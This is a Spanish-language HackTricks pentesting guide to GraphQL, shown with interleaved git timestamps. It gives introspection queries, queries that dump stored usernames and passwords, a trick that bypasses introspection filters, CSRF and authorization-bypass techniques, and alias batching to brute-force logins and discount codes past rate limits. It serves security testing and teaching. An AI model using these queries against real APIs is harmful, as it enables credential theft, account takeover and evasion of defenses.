hacktricks/network-services-pentesting/pentesting-web/graphql.md

552 lines
28 KiB
Markdown
Raw Normal View History

2023-06-05 18:33:24 +00:00
# GraphQL
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2023-06-05 18:33:24 +00:00
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
2023-06-05 18:33:24 +00:00
</details>
## Introducción
GraphQL es **destacado** como una **alternativa eficiente** a las API REST, ofreciendo un enfoque simplificado para consultar datos desde el backend. A diferencia de REST, que a menudo requiere numerosas solicitudes en diferentes puntos finales para recopilar datos, GraphQL permite la obtención de toda la información requerida a través de una **sola solicitud**. Esta optimización beneficia significativamente a los desarrolladores al disminuir la complejidad de sus procesos de obtención de datos.
2023-06-05 18:33:24 +00:00
## GraphQL y Seguridad
2023-06-05 18:33:24 +00:00
Con la llegada de nuevas tecnologías, incluido GraphQL, también surgen nuevas vulnerabilidades de seguridad. Un punto clave a tener en cuenta es que **GraphQL no incluye mecanismos de autenticación de forma predeterminada**. Es responsabilidad de los desarrolladores implementar dichas medidas de seguridad. Sin una autenticación adecuada, los puntos finales de GraphQL pueden exponer información sensible a usuarios no autenticados, lo que representa un riesgo de seguridad significativo.
2023-06-05 18:33:24 +00:00
### Ataques de Fuerza Bruta de Directorios y GraphQL
2023-06-05 18:33:24 +00:00
Para identificar instancias de GraphQL expuestas, se recomienda la inclusión de rutas específicas en ataques de fuerza bruta de directorios. Estas rutas son:
2023-06-05 18:33:24 +00:00
* `/graphql`
* `/graphiql`
* `/graphql.php`
* `/graphql/console`
* `/api`
* `/api/graphql`
* `/graphql/api`
* `/graphql/graphql`
2023-06-05 18:33:24 +00:00
Identificar instancias de GraphQL abiertas permite examinar las consultas admitidas. Esto es crucial para comprender los datos accesibles a través del punto final. El sistema de introspección de GraphQL facilita esto al detallar las consultas que admite un esquema. Para obtener más información al respecto, consulta la documentación de GraphQL sobre introspección: [**GraphQL: Un lenguaje de consulta para APIs.**](https://graphql.org/learn/introspection/)
2023-06-05 18:33:24 +00:00
### Fingerprint
2023-06-05 18:33:24 +00:00
La herramienta [**graphw00f**](https://github.com/dolevf/graphw00f) es capaz de detectar qué motor de GraphQL se utiliza en un servidor y luego imprime información útil para el auditor de seguridad.
#### Consultas universales <a href="#universal-queries" id="universal-queries"></a>
Para verificar si una URL es un servicio GraphQL, se puede enviar una **consulta universal**, `query{__typename}`. Si la respuesta incluye `{"data": {"__typename": "Query"}}`, confirma que la URL alberga un punto final de GraphQL. Este método se basa en el campo `__typename` de GraphQL, que revela el tipo del objeto consultado.
2024-04-06 18:13:31 +00:00
```javascript
query{__typename}
```
2024-04-06 18:13:31 +00:00
### Enumeración Básica
2023-06-05 18:33:24 +00:00
GraphQL generalmente admite **GET**, **POST** (x-www-form-urlencoded) y **POST**(json). Aunque por seguridad se recomienda permitir solo json para prevenir ataques CSRF.
2023-06-05 18:33:24 +00:00
#### Introspección
2023-06-05 18:33:24 +00:00
Para utilizar la introspección y descubrir información del esquema, consulta el campo `__schema`. Este campo está disponible en el tipo raíz de todas las consultas.
2024-04-06 18:13:31 +00:00
```bash
query={__schema{types{name,fields{name}}}}
```
2024-04-06 18:13:31 +00:00
Con esta consulta encontrarás el nombre de todos los tipos que se están utilizando:
2023-06-05 18:33:24 +00:00
![](<../../.gitbook/assets/image (202).png>)
{% code overflow="wrap" %}
```bash
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
```
{% endcode %}
2023-06-05 18:33:24 +00:00
Con esta consulta puedes extraer todos los tipos, sus campos y sus argumentos (y el tipo de los argumentos). Esto será muy útil para saber cómo consultar la base de datos.
2023-06-05 18:33:24 +00:00
![](<../../.gitbook/assets/image (207) (3).png>)
**Errores**
Es interesante saber si los **errores** se van a **mostrar**, ya que contribuirán con **información** útil.
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```
?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}
```
2024-04-06 18:13:31 +00:00
**Enumerar el Esquema de la Base de Datos a través de la Introspección**
2023-06-05 18:33:24 +00:00
{% hint style="info" %}
Si la introspección está habilitada pero la consulta anterior no se ejecuta, intente eliminar las directivas `onOperation`, `onFragment` y `onField` de la estructura de la consulta.
{% endhint %}
2024-04-06 18:13:31 +00:00
```bash
#Full introspection query
query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation #Often needs to be deleted to run query
onFragment #Often needs to be deleted to run query
onField #Often needs to be deleted to run query
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
```
2024-04-06 18:13:31 +00:00
Consulta de introspección en línea:
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
```
2024-04-06 18:13:31 +00:00
La última línea de código es una consulta graphql que volcará toda la meta-información de graphql (nombres de objetos, parámetros, tipos...)
2023-06-05 18:33:24 +00:00
![](<../../.gitbook/assets/image (206).png>)
Si la introspección está habilitada, puedes usar [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) para ver en una interfaz gráfica todas las opciones.
2023-06-05 18:33:24 +00:00
### Consultando
2023-06-05 18:33:24 +00:00
Ahora que sabemos qué tipo de información está guardada en la base de datos, intentemos **extraer algunos valores**.
2023-06-05 18:33:24 +00:00
En la introspección puedes encontrar **qué objeto puedes consultar directamente** (porque no puedes consultar un objeto solo porque existe). En la siguiente imagen puedes ver que el "_queryType_" se llama "_Query_" y que uno de los campos del objeto "_Query_" es "_flags_", que también es un tipo de objeto. Por lo tanto, puedes consultar el objeto de la bandera.
2023-06-05 18:33:24 +00:00
![](../../.gitbook/assets/screenshot-from-2021-03-13-18-17-48.png)
Ten en cuenta que el tipo de la consulta "_flags_" es "_Flags_", y este objeto está definido de la siguiente manera:
2023-06-05 18:33:24 +00:00
![](../../.gitbook/assets/screenshot-from-2021-03-13-18-22-57.png)
Puedes ver que los objetos "_Flags_" están compuestos por **nombre** y **valor**. Luego puedes obtener todos los nombres y valores de las banderas con la consulta:
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```javascript
query={flags{name, value}}
```
2024-04-06 18:13:31 +00:00
Ten en cuenta que en caso de que el **objeto a consultar** sea un **tipo primitivo** como **string** como en el siguiente ejemplo
2023-06-05 18:33:24 +00:00
2024-04-06 18:13:31 +00:00
![](<../../.gitbook/assets/image (441).png>)
2023-06-05 18:33:24 +00:00
Simplemente puedes consultar con:
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```javascript
query={hiddenFlags}
```
2024-04-06 18:13:31 +00:00
En otro ejemplo donde había 2 objetos dentro del objeto tipo "_Query_": "_user_" y "_users_".\
Si estos objetos no necesitan ningún argumento para buscar, se podría **obtener toda la información de ellos** simplemente **pidiendo** los datos que se desean. En este ejemplo de Internet se podrían extraer los nombres de usuario y contraseñas guardados:
2023-06-05 18:33:24 +00:00
![](<../../.gitbook/assets/image (208).png>)
Sin embargo, en este ejemplo, si intentas hacerlo, obtienes este **error**:
2023-06-05 18:33:24 +00:00
![](<../../.gitbook/assets/image (210).png>)
Parece que de alguna manera buscará usando el argumento "_**uid**_" de tipo _**Int**_.\
De todos modos, ya sabíamos que, en la sección de [Enumeración Básica](graphql.md#basic-enumeration) se propuso una consulta que nos mostraba toda la información necesaria: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
2023-06-05 18:33:24 +00:00
Si lees la imagen proporcionada cuando ejecuto esa consulta, verás que "_**user**_" tenía el **arg** "_**uid**_" de tipo _Int_.
2023-06-05 18:33:24 +00:00
Entonces, realizando un ligero ataque de fuerza bruta de _**uid**_ descubrí que en _**uid**=**1**_ se recuperó un nombre de usuario y una contraseña:\
2023-06-05 18:33:24 +00:00
`query={user(uid:1){user,password}}`
![](<../../.gitbook/assets/image (211).png>)
Ten en cuenta que **descubrí** que podía solicitar los **parámetros** "_**user**_" y "_**password**_" porque si intento buscar algo que no existe (`query={user(uid:1){noExists}}`) obtengo este error:
2023-06-05 18:33:24 +00:00
![](<../../.gitbook/assets/image (213).png>)
Y durante la fase de **enumeración** descubrí que el objeto "_**dbuser**_" tenía como campos "_**user**_" y "_**password**_.
2023-06-05 18:33:24 +00:00
**Truco de volcado de cadena de consulta (gracias a @BinaryShadow\_)**
Si puedes buscar por un tipo de cadena, como: `query={theusers(description: ""){username,password}}` y **buscas una cadena vacía** se volcarán todos los datos. (_Ten en cuenta que este ejemplo no está relacionado con el ejemplo de los tutoriales, para este ejemplo supongamos que puedes buscar usando "**theusers**" por un campo de tipo String llamado "**description**"_).
2023-06-05 18:33:24 +00:00
### Búsqueda
En esta configuración, una **base de datos** contiene **personas** y **películas**. Las **personas** se identifican por su **correo electrónico** y nombre; las **películas** por su nombre y **calificación**. Las **personas** pueden ser amigas entre sí y también tener películas, lo que indica relaciones dentro de la base de datos.
2023-06-05 18:33:24 +00:00
Puedes **buscar** personas **por** el **nombre** y obtener sus correos electrónicos:
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```javascript
{
searchPerson(name: "John Doe") {
email
}
2023-06-05 18:33:24 +00:00
}
```
2024-04-06 18:13:31 +00:00
Puedes **buscar** personas **por** el **nombre** y obtener sus **películas** **suscritas**:
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```javascript
{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
2023-06-05 18:33:24 +00:00
}
```
2024-04-06 18:13:31 +00:00
Tenga en cuenta cómo se indica recuperar el `name` de las `subscribedMovies` de la persona.
2023-06-05 18:33:24 +00:00
También se pueden **buscar varios objetos al mismo tiempo**. En este caso, se realiza una búsqueda de 2 películas:
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```javascript
{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
2023-06-05 18:33:24 +00:00
}r
```
2024-04-06 18:13:31 +00:00
O incluso **relaciones de varios objetos diferentes usando alias**:
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```javascript
{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
2023-06-05 18:33:24 +00:00
}
```
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
### Mutaciones
**Las mutaciones se utilizan para realizar cambios en el lado del servidor.**
En la **introspección** puedes encontrar las **mutaciones** **declaradas**. En la siguiente imagen, el "_MutationType_" se llama "_Mutation_" y el objeto "_Mutation_" contiene los nombres de las mutaciones (como "_addPerson_" en este caso):
2023-06-05 18:33:24 +00:00
![](../../.gitbook/assets/screenshot-from-2021-03-13-18-26-27.png)
En esta configuración, una **base de datos** contiene **personas** y **películas**. Las **personas** se identifican por su **correo electrónico** y **nombre**; las **películas** por su **nombre** y **calificación**. Las **personas** pueden ser amigas entre sí y también tener películas, lo que indica relaciones dentro de la base de datos.
2023-06-05 18:33:24 +00:00
Una mutación para **crear nuevas** películas dentro de la base de datos puede ser como la siguiente (en este ejemplo, la mutación se llama `addMovie`):
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```javascript
mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
2023-06-05 18:33:24 +00:00
}
```
2024-04-06 18:13:31 +00:00
**Observa cómo tanto los valores como el tipo de datos están indicados en la consulta.**
2023-06-05 18:33:24 +00:00
Además, la base de datos admite una operación de **mutación**, llamada `addPerson`, que permite la creación de **personas** junto con sus asociaciones a **amigos** y **películas** existentes. Es crucial tener en cuenta que los amigos y las películas deben existir previamente en la base de datos antes de vincularlos a la persona recién creada.
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```javascript
mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
2023-06-05 18:33:24 +00:00
}
```
2024-04-06 18:13:31 +00:00
### Sobrecarga de directivas
Como se explica en [**uno de los fallos descritos en este informe**](https://www.landh.tech/blog/20240304-google-hack-50000/), una sobrecarga de directivas implica llamar a una directiva incluso millones de veces para hacer que el servidor pierda operaciones hasta que sea posible realizar un ataque de denegación de servicio (DoS).
### Fuerza bruta en lotes en 1 solicitud de API
2023-06-05 18:33:24 +00:00
Esta información fue tomada de [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\
Autenticación a través de la API de GraphQL con **el envío simultáneo de muchas consultas con diferentes credenciales** para verificarla. Es un ataque clásico de fuerza bruta, pero ahora es posible enviar más de un par de inicio de sesión/contraseña por solicitud HTTP debido a la función de lotes de GraphQL. Este enfoque engañaría a las aplicaciones externas de monitoreo de velocidad para que crean que todo está bien y que no hay un bot de fuerza bruta intentando adivinar contraseñas.
2023-06-05 18:33:24 +00:00
A continuación, puedes encontrar la demostración más simple de una solicitud de autenticación de aplicación, con **3 pares de correo electrónico/contraseña diferentes a la vez**. Obviamente, es posible enviar miles en una sola solicitud de la misma manera:
2023-06-05 18:33:24 +00:00
![](<../../.gitbook/assets/image (182) (1).png>)
Como podemos ver en la captura de pantalla de la respuesta, las primeras y terceras solicitudes devolvieron _null_ y reflejaron la información correspondiente en la sección de _error_. La **segunda mutación tenía los datos de autenticación correctos** y la respuesta tenía el token de sesión de autenticación correcto.
2023-06-05 18:33:24 +00:00
![](<../../.gitbook/assets/image (119) (1).png>)
## GraphQL Sin Introspección
2023-06-05 18:33:24 +00:00
Cada vez más **los puntos finales de GraphQL están deshabilitando la introspección**. Sin embargo, los errores que GraphQL arroja cuando recibe una solicitud inesperada son suficientes para que herramientas como [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) puedan recrear la mayor parte del esquema.
2023-06-05 18:33:24 +00:00
Además, la extensión de Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **observa las solicitudes de API de GraphQL que pasan por Burp** y **construye** un esquema interno de GraphQL **con cada nueva consulta que ve**. También puede exponer el esquema para GraphiQL y Voyager. La extensión devuelve una respuesta falsa cuando recibe una consulta de introspección. Como resultado, GraphQuail muestra todas las consultas, argumentos y campos disponibles para su uso dentro de la API. Para más información, [**consultar aquí**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
Una **lista de palabras** útil para descubrir [**entidades de GraphQL se puede encontrar aquí**](https://github.com/Escape-Technologies/graphql-wordlist?).
### Eludir las defensas de introspección de GraphQL <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
2023-06-05 18:33:24 +00:00
### **Eludir las Defensas de Introspección de GraphQL**
Para eludir las restricciones en las consultas de introspección en las APIs, insertar un **carácter especial después de la palabra clave `__schema`** resulta efectivo. Este método explota descuidos comunes de los desarrolladores en patrones de regex que buscan bloquear la introspección al enfocarse en la palabra clave `__schema`. Al agregar caracteres como **espacios, saltos de línea y comas**, que GraphQL ignora pero que quizás no se tengan en cuenta en las regex, se pueden eludir las restricciones. Por ejemplo, una consulta de introspección con un salto de línea después de `__schema` puede eludir tales defensas:
2024-04-06 18:13:31 +00:00
```bash
# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}
```
2024-04-06 18:13:31 +00:00
Si no tiene éxito, considere métodos de solicitud alternativos, como **solicitudes GET** o **POST con `x-www-form-urlencoded`**, ya que las restricciones pueden aplicarse solo a las solicitudes POST.
### **Descubriendo Estructuras GraphQL Expuestas**
Cuando la introspección está deshabilitada, examinar el código fuente del sitio web en busca de consultas precargadas en bibliotecas de JavaScript es una estrategia útil. Estas consultas se pueden encontrar utilizando la pestaña `Sources` en las herramientas para desarrolladores, lo que proporciona información sobre el esquema de la API y revela posibles **consultas sensibles expuestas**. Los comandos para buscar dentro de las herramientas para desarrolladores son:
2024-04-06 18:13:31 +00:00
```javascript
Inspect/Sources/"Search all files"
file:* mutation
file:* query
```
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
## CSRF en GraphQL
Si no sabes qué es CSRF, lee la siguiente página:
2023-06-05 18:33:24 +00:00
{% content-ref url="../../pentesting-web/csrf-cross-site-request-forgery.md" %}
[csrf-cross-site-request-forgery.md](../../pentesting-web/csrf-cross-site-request-forgery.md)
{% endcontent-ref %}
En algunos casos, es posible encontrar varios puntos finales de GraphQL **configurados sin tokens CSRF.**
2023-06-05 18:33:24 +00:00
Ten en cuenta que las solicitudes de GraphQL suelen enviarse a través de solicitudes POST utilizando el Content-Type **`application/json`**.
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```javascript
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
```
2024-04-06 18:13:31 +00:00
Sin embargo, la mayoría de los puntos finales de GraphQL también admiten **solicitudes POST** **`form-urlencoded`**:
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```javascript
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
```
2024-04-06 18:13:31 +00:00
Por lo tanto, dado que las solicitudes CSRF como las anteriores se envían **sin solicitudes de preflight**, es posible **realizar** **cambios** en el GraphQL abusando de un CSRF.
2023-06-05 18:33:24 +00:00
Sin embargo, ten en cuenta que el nuevo valor de cookie predeterminado de la bandera `samesite` de Chrome es `Lax`. Esto significa que la cookie solo se enviará desde un sitio web de terceros en solicitudes GET.
2023-06-05 18:33:24 +00:00
Ten en cuenta que generalmente es posible enviar la **solicitud** de **consulta** también como una solicitud **GET y el token CSRF podría no ser validado en una solicitud GET.**
2023-06-05 18:33:24 +00:00
2024-04-06 18:13:31 +00:00
Además, abusando de un ataque [**XS-Search**](../../pentesting-web/xs-search/) podría ser posible exfiltrar contenido del punto final de GraphQL abusando de las credenciales del usuario.
2023-06-05 18:33:24 +00:00
Para obtener más información, **consulta la** [**publicación original aquí**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
2023-06-05 18:33:24 +00:00
## Autorización en GraphQL
2023-06-05 18:33:24 +00:00
Muchas funciones de GraphQL definidas en el punto final podrían verificar solo la autenticación del solicitante pero no la autorización.
2023-06-05 18:33:24 +00:00
Modificar las variables de entrada de la consulta podría llevar a la filtración de detalles de cuenta sensibles [filtrados](https://hackerone.com/reports/792927).
2023-06-05 18:33:24 +00:00
Incluso una mutación podría llevar a la toma de posesión de la cuenta al intentar modificar datos de otra cuenta.
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```javascript
{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
2023-06-05 18:33:24 +00:00
}
```
2024-04-06 18:13:31 +00:00
### Saltar la autorización en GraphQL
2023-06-05 18:33:24 +00:00
[Encadenar consultas](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) puede saltarse un sistema de autenticación débil.
2023-06-05 18:33:24 +00:00
En el siguiente ejemplo, se puede ver que la operación es "forgotPassword" y que solo debería ejecutar la consulta forgotPassword asociada. Esto se puede saltar agregando una consulta al final, en este caso agregamos "register" y una variable de usuario para que el sistema se registre como un nuevo usuario.
2023-06-05 18:33:24 +00:00
<figure><img src="../../.gitbook/assets/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>
## Saltar los límites de velocidad utilizando alias en GraphQL
En GraphQL, los alias son una característica poderosa que permite **nombrar explícitamente propiedades** al hacer una solicitud de API. Esta capacidad es particularmente útil para recuperar **múltiples instancias del mismo tipo** de objeto dentro de una sola solicitud. Los alias se pueden utilizar para superar la limitación que impide que los objetos GraphQL tengan múltiples propiedades con el mismo nombre.
Para comprender detalladamente los alias en GraphQL, se recomienda el siguiente recurso: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
Si bien el propósito principal de los alias es reducir la necesidad de numerosas llamadas a la API, se ha identificado un caso de uso no previsto donde los alias se pueden aprovechar para ejecutar ataques de fuerza bruta en un punto final de GraphQL. Esto es posible porque algunos puntos finales están protegidos por limitadores de velocidad diseñados para evitar ataques de fuerza bruta restringiendo el **número de solicitudes HTTP**. Sin embargo, estos limitadores de velocidad pueden no tener en cuenta el número de operaciones dentro de cada solicitud. Dado que los alias permiten la inclusión de múltiples consultas en una sola solicitud HTTP, pueden eludir tales medidas de limitación de velocidad.
Considere el siguiente ejemplo que ilustra cómo las consultas con alias se pueden utilizar para verificar la validez de códigos de descuento de tienda. Este método podría evitar los límites de velocidad ya que recopila varias consultas en una sola solicitud HTTP, lo que potencialmente permite verificar numerosos códigos de descuento simultáneamente.
2024-04-06 18:13:31 +00:00
```bash
# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}
2023-06-05 18:33:24 +00:00
```
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
## Herramientas
### Escáneres de vulnerabilidades
* [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Kit que se puede utilizar para obtener esquemas y buscar datos sensibles, probar autorización, forzar esquemas y encontrar rutas hacia un tipo dado.
* [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Se puede utilizar de forma independiente o como [extensión de Burp](https://github.com/doyensec/inql).
* [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Se puede utilizar como cliente CLI también para automatizar ataques.
* [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Herramienta que lista las diferentes formas de llegar a un tipo dado en un esquema de GraphQL.
* [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Extensión de Burp para pruebas avanzadas de GraphQL. El _**Escáner**_ es el núcleo de InQL v5.0, donde puedes analizar un punto final de GraphQL o un archivo de esquema de introspección local. Genera automáticamente todas las consultas y mutaciones posibles, organizándolas en una vista estructurada para su análisis. El componente _**Atacante**_ te permite ejecutar ataques de GraphQL por lotes, lo que puede ser útil para evadir límites de velocidad implementados de manera deficiente.
2023-06-05 18:33:24 +00:00
### Clientes
* [https://github.com/graphql/graphiql](https://github.com/graphql/graphiql): Cliente GUI
* [https://altair.sirmuel.design/](https://altair.sirmuel.design/): Cliente GUI
2023-06-05 18:33:24 +00:00
### Pruebas automáticas
2023-06-05 18:33:24 +00:00
{% embed url="https://graphql-dashboard.herokuapp.com/" %}
* Video explicativo sobre AutoGraphQL: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU)
2023-06-05 18:33:24 +00:00
## Referencias
* [**https://jondow.eu/practical-graphql-attack-vectors/**](https://jondow.eu/practical-graphql-attack-vectors/)
* [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
* [**https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4**](https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4)
* [**http://ghostlulz.com/api-hacking-graphql/**](http://ghostlulz.com/api-hacking-graphql/)
* [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md)
2023-06-05 18:33:24 +00:00
* [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
* [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql)
2023-06-05 18:33:24 +00:00
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
2023-06-05 18:33:24 +00:00
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2023-06-05 18:33:24 +00:00
</details>